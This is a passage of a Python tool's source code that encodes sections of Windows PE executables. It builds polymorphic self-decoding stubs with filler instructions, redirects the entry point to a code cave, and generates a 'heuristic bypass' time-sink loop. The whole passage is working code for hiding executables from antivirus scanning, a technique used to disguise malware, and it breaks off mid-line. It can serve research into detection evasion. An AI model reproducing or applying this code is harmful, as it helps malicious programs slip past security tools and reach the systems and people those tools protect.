528 | log("[*] Generated Encoder with the following instructions:") 529 | for item in encoder: 530 | log("\t[+] %s %s" % (item.split(" ")[0], hex(int(item.split(" ")[1])))) 531 | 532 | return encoder 533 | 534 | ''' 535 | Generate the decoder instructions corresponding to the 536 | provided encoder 537 | ''' 538 | def build_decoder(pe, encoder, section, decode_start, decode_end): 539 | 540 | ''' 541 | Our decoder should look as follows: 542 | 543 | get_address: 544 | mov eax, decode_start_address ; Move address of sections's first encoded byte into EAX 545 | decode: ; assume decode of at least one byte 546 | ...dynamic decode instructions... ; decode operations + benign fill 547 | inc eax ; increment decode address 548 | cmp eax, encode_end_address ; check address with end_address 549 | jle, decode ; if in range, loop back to start of decode function 550 | ...benign filler instructions... ; additional benign instructions that alter signature of decoder 551 | ''' 552 | decode_instructions = { 553 | "ADD":"\x80\x28", # add encode w/ corresponding decoder ==> SUB BYTE PTR DS:[EAX] 554 | "SUB":"\x80\x00", # sub encode w/ corresponding add decoder ==> ADD BYTE PTR DS:[EAX] 555 | "XOR":"\x80\x30" # xor encode w/ corresponding xor decoder ==> XOR BYTE PTR DS:[EAX] 556 | } 557 | 558 | decoder = "" 559 | for i in encoder: 560 | encode_instruction = i.split(" ")[0] # get encoder operation 561 | modifier = int(i.split(" ")[1]) # get operation modifier 562 | decode_instruction = (decode_instructions[encode_instruction] + struct.pack("B", modifier)) # get corresponding decoder instruction 563 | decoder = decode_instruction + decoder # prepend the decode instruction to execute in reverse order 564 | 565 | # add some fill instructions 566 | fill_instruction = add_fill_instructions(2) 567 | decoder = fill_instruction + decoder 568 | 569 | mov_instruct = "\xb8" + decode_start[:4] # mov eax, decode_start 570 | decoder = mov_instruct + decoder # prepend the decoder with the mov instruction 571 | decoder += "\x40" # inc eax 572 | decoder += "\x3d" + decode_end[:4] # cmp eax, decode_end 573 | back_jump_value = binascii.unhexlify(format((1 << 16) - (len(decoder)-len(mov_instruct)+2), 'x')[2:]) # TODO: keep the total length < 128 for this short jump 574 | decoder += "\x7e" + back_jump_value # jle, start_of_decode 575 | decoder += "\x90\x90" # NOPS 576 | 577 | return decoder 578 | 579 | ''' 580 | Execute various encoding operations for given input 581 | ''' 582 | def do_encode(byte_in, encoder): 583 | 584 | # encoder is built using the build_encoder() function 585 | # each entry has the following format: instruction modifier 586 | enc = byte_in 587 | for entry in encoder: 588 | instruction = entry.strip().split(" ")[0] 589 | modifier = int(entry.strip().split(" ")[1]) 590 | 591 | if instruction == "ADD": 592 | enc = do_add(enc, modifier) 593 | elif instruction == "SUB": 594 | enc = do_sub(enc, modifier) 595 | else: 596 | enc = do_xor(enc, modifier) 597 | return enc 598 | 599 | ''' 600 | Retrieve desired bytes from pe file 601 | ''' 602 | def retrieve_data(pe, section_name, type): 603 | try: 604 | section_header = get_section_header(pe, section_name) 605 | section_start=section_header.VirtualAddress 606 | except: 607 | log("[!] ERROR: Could not retrieve section data. Check the section name.") 608 | sys.exit(2) 609 | 610 | if type == "raw": 611 | # grab entire section including ending nulls 612 | section_stop=section_start+section_header.SizeOfRawData 613 | else: 614 | # just grab up to the virtual size 615 | section_stop=section_start+section_header.Misc_VirtualSize 616 | data = binascii.hexlify(pe.get_memory_mapped_image()[section_start:section_stop]) 617 | data = re.findall(r'.{1,2}',data,re.DOTALL) 618 | return data 619 | 620 | ''' 621 | Encode the named section(s) using multiple iterations of sub,add,xor 622 | ''' 623 | def encode_data(pe, section_to_encode, encoder): 624 | decoder = "" 625 | # get the name of the section(s) to encode 626 | if section_to_encode: 627 | try: 628 | sections = section_to_encode.split(",") # multiple sections provided 629 | except: 630 | sections = [section_to_encode] # only a single section provided 631 | sections = list(set(sections)) # dedupe list of sections 632 | 633 | # for each section value provided, grab the 634 | # name and the range to encode 635 | if len(sections) > 0: 636 | for section in sections: 637 | section = section.strip() 638 | 639 | if section: 640 | try: 641 | if len(section.split(":")) == 3: 642 | # name, offset, and encode_length 643 | section_name = section.split(":")[0] 644 | encode_offset = int(section.split(":")[1]) 645 | encode_length = int(section.split(":")[2]) 646 | elif len(section.split(":")) == 2: 647 | # name and offset provided 648 | section_name = section.split(":")[0] 649 | encode_offset = int(section.split(":")[1]) 650 | encode_length = 0 651 | elif len(section.split(":")) == 1: 652 | # only name provided 653 | section_name = section.split(":")[0] 654 | encode_offset = 0 655 | encode_length = 0 656 | else: 657 | log("Invalid parameter provided. Use -h or --help for more info") 658 | sys.exit(2) 659 | except: 660 | log("[!] ERROR: Could not parse section name. Check the value provided for the -e option") 661 | sys.exit(2) 662 | 663 | # grab the section header 664 | if section_name == "default": 665 | # no specified section name, use section associated with entry point 666 | # this will typically default to the .text or .code section 667 | section_header = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) 668 | section_name = section_header.Name 669 | elif section_name == "": 670 | # skip a blank section name 671 | continue 672 | else: 673 | section_header = get_section_header(pe, section_name) 674 | if not section_header: 675 | log("\n[!] ERROR: Invalid section name provided: %s. Exiting" % section_name) 676 | sys.exit(2) 677 | 678 | 679 | # build the decoder for each section 680 | image_base = pe.OPTIONAL_HEADER.ImageBase 681 | section_start = image_base + section_header.VirtualAddress 682 | decode_start = struct.pack("L", section_start + encode_offset) 683 | 684 | if encode_length == 0: 685 | # encode / decode until the end of the section 686 | decode_end = struct.pack("L", section_start + section_header.Misc_VirtualSize) 687 | else: 688 | # stop encoding / decoding at desired location represented by offset + length 689 | decode_end = struct.pack("L", section_start + encode_offset + encode_length) 690 | 691 | decoder += build_decoder(pe, encoder, section_header, decode_start, decode_end) # now build the corresponding decoder 692 | encoded_data = "" # will hold encoded data 693 | data_to_encode = retrieve_data(pe, section_name, "virtual") # grab unencoded data from section 694 | 695 | if encode_length == 0: 696 | encode_length = len(data_to_encode) # encode entire section from offset 697 | 698 | if encode_offset == 0 and encode_length == len(data_to_encode): 699 | log("[*] Encoding entire %s section" % section_name) 700 | else: 701 | log("[*] Encoding a total of %i bytes data of the %s section starting at offset %i" % (encode_length, section_name, encode_offset)) 702 | 703 | section_size = section_header.Misc_VirtualSize 704 | if encode_offset > section_size: 705 | log("[!] Provided offset for %s larger than section size. Skipping encoding." % section_name) 706 | continue 707 | 708 | # generate encoded bytes 709 | count = 0 710 | for byte in data_to_encode: 711 | byte = int(byte, 16) 712 | 713 | if (count >= encode_offset) and (count < encode_length + encode_offset): 714 | enc_byte = do_encode(byte, encoder) 715 | # Print "Byte %i was %x and is now %x" % (count, byte, enc_byte) # TESTING 716 | else: 717 | enc_byte = byte # byte not within encoding range, maintain original value 718 | 719 | count += 1 720 | encoded_data = encoded_data + "{:02x}".format(enc_byte) 721 | 722 | # make target section writeable 723 | pe = make_section_writeable(pe, section_name) 724 | 725 | # write encoded data to image 726 | log("[*] Writing encoded data to file") 727 | raw_text_start = section_header.PointerToRawData # get raw text location for writing directly to file 728 | success = pe.set_bytes_at_offset(raw_text_start, binascii.unhexlify(encoded_data)) 729 | 730 | return decoder 731 | 732 | ''' 733 | Preserve the first few instructions of the binary which will be overwritten 734 | with the jump to the code cave. 735 | ''' 736 | def preserve_entry_instructions(pe, ep, ep_ava, offset_end): 737 | offset=0 738 | original_instructions = pe.get_memory_mapped_image()[ep:ep+offset_end+30] 739 | log("[*] Preserving the following entry instructions (at entry address %s):" % hex(ep_ava)) 740 | while offset < offset_end: 741 | i = pydasm.get_instruction(original_instructions[offset:], pydasm.MODE_32) 742 | asm = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+offset) 743 | log("\t[+] " + asm) 744 | offset += i.length 745 | 746 | # re-get instructions with confirmed offset to avoid partial instructions 747 | original_instructions = pe.get_memory_mapped_image()[ep:ep+offset] 748 | return original_instructions 749 | 750 | ''' 751 | calculate the new jump offset given a previous and current location 752 | used with the modify_entry_instructions function 753 | ''' 754 | def update_jump_location(asm, current_address, instruction_offset): 755 | jmp_abs_destination = int(asm.split(" ")[1], 16) # get the intended destination 756 | if jmp_abs_destination < current_address: 757 | new_jmp_loc = (current_address - jmp_abs_destination + instruction_offset ) * -1 # backwards jump 758 | else: 759 | new_jmp_loc = current_address - jmp_abs_destination + instruction_offset # forwards jump 760 | 761 | return new_jmp_loc 762 | 763 | ''' 764 | Many executables have entry instructions with relative jumps which can pose a problem 765 | after relocation. My simple solution was to grab the absolute address from asm and 766 | calculate its relative offset from the current location. I then replace short jumps 767 | with their long jump counterparts along with the new relative jump location 768 | While I tested this with several example executables, I may have missed some opcodes 769 | ''' 770 | def modify_entry_instructions(ep_ava, original_instructions, heuristic_decoder_offset, code_cave_address): 771 | updated_instructions = "" # holds the modified data 772 | unconditional_jump_opcodes = { "eb":"\xe9", # jmp short 773 | "e9":"\xe9", # jmp 774 | "ea":"\xea", # jmp far 775 | "e8":"\xe8" # call 776 | } 777 | conditional_jump_opcodes = { 778 | "77":"\x0f\x87", # ja/jnbe 779 | "73":"\x0f\x83", # jae/jnb 780 | "72":"\x0f\x82", # jb/jnae 781 | "76":"\x0f\x86", # jbe/jna 782 | "74":"\x0f\x84", # je/jz 783 | "7f":"\x0f\x8f", # jg/jnle 784 | "7d":"\x0f\x8d", # jge/jnl 785 | "7c":"\x0f\x8c", # jl/jnge 786 | "7e":"\x0f\x8e", # jle/jng 787 | "75":"\x0f\x85", # jne/jnz 788 | "71":"\x0f\x81", # jne/jnz 789 | "79":"\x0f\x89", # jns 790 | "7b":"\x0f\x8b", # jnp/jpo 791 | "70":"\x0f\x80", # jo 792 | "7a":"\x0f\x8a", # jp/jpe 793 | "78":"\x0f\x88" # js 794 | } 795 | 796 | current_offset = 0 797 | prior_offset = 0 798 | added_bytes = 0 799 | while current_offset < len(original_instructions): 800 | 801 | # get the asm for each instruction 802 | i = pydasm.get_instruction(original_instructions[current_offset:], pydasm.MODE_32) 803 | asm = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+current_offset) 804 | 805 | # increment counters 806 | prior_offset = current_offset 807 | current_offset += i.length 808 | 809 | instruct_bytes = original_instructions[prior_offset:current_offset] # grab current instruction bytes 810 | opcode = binascii.hexlify(instruct_bytes[0]) # extract first opcode byte 811 | 812 | # the current address = the code cave address + the length of the heuristic functions + the decoder functions + 813 | # the length of the replaced entry instructions + any additional bytes we add as a result of modification 814 | current_address = int(code_cave_address, 16) + heuristic_decoder_offset + prior_offset + added_bytes 815 | 816 | # check opcode to see if it's is a relative conditional or unconditional jump 817 | if opcode in conditional_jump_opcodes: 818 | new_jmp_loc = update_jump_location(asm, current_address, 6) 819 | new_instruct_bytes = conditional_jump_opcodes[opcode] + struct.pack("l", new_jmp_loc) # replace short jump with long jump and update location 820 | elif opcode in unconditional_jump_opcodes: 821 | new_jmp_loc = update_jump_location(asm, current_address, 5) 822 | new_instruct_bytes = unconditional_jump_opcodes[opcode] + struct.pack("l", new_jmp_loc) # replace short jump with long jump and update locatio 823 | else: 824 | new_instruct_bytes = instruct_bytes 825 | 826 | updated_instructions += new_instruct_bytes # add to updated instructions 827 | added_bytes += len(new_instruct_bytes) - len(instruct_bytes) # by modifying these to long jmps we're adding bytes 828 | 829 | return updated_instructions 830 | 831 | ''' 832 | Generate the instruction that will jump back to the new entry instruction to restore execution flow 833 | ''' 834 | def build_new_entry_jump(current_address, new_entry_address): 835 | 836 | if new_entry_address < current_address: 837 | new_entry_loc = (current_address + 5 - new_entry_address) * -1 # backwards jump 838 | jmp_instruction = "\xe9" + struct.pack("l", new_entry_loc) 839 | else: 840 | new_entry_loc = (current_address + 5 - new_entry_address) # forwards jump 841 | jmp_instruction = "\xe9" + struct.pack("L", new_entry_loc) 842 | 843 | return jmp_instruction 844 | 845 | 846 | ''' 847 | Generate the heuristic bypass time-sink code 848 | ''' 849 | def generate_heuristic(loop_limit): 850 | 851 | fill_limit = 3 # the maximum number of fill instructions to generate in between the heuristic instructions 852 | heuristic = "" 853 | heuristic += "\x33\xC0" # XOR EAX,EAX 854 | heuristic += add_fill_instructions(fill_limit) # fill 855 | heuristic += "\x40" # INC EAX 856 | heuristic += add_fill_instructions(fill_limit) # fill 857 | heuristic += "\x3D" + struct.pack("